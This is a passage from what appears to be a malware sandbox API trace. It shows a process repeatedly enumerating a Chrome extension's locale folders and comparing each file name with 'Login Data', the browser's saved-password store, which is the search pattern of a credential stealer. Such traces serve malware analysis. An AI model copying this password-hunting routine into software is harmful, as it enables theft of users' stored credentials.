IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.629] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*" [0056.629] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 0x2dc978 [0056.630] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.630] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.630] lstrlenA (lpString="ar") returned 2 [0056.630] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0056.630] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*" [0056.630] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.630] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.630] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.630] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.630] lstrlenA (lpString="bg") returned 2 [0056.630] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0056.630] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg" [0056.630] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*" [0056.630] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.631] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.631] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.631] lstrlenA (lpString="ca") returned 2 [0056.631] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0056.631] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*" [0056.631] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.631] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.631] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.631] lstrlenA (lpString="cs") returned 2 [0056.631] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0056.631] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*" [0056.631] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.631] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.631] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.631] lstrlenA (lpString="da") returned 2 [0056.631] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0056.631] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da" [0056.631] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*" [0056.632] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.632] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.632] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.632] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.632] lstrlenA (lpString="de") returned 2 [0056.632] lstrcpyA (in: lpString1=0x2dc400, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0056.632] lstrcpyA (in: lpString1=0x2dc510, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*" [0056.632] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.632] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.632] lstrcpyA (in: lpString1=0x2dc2f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.632] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK 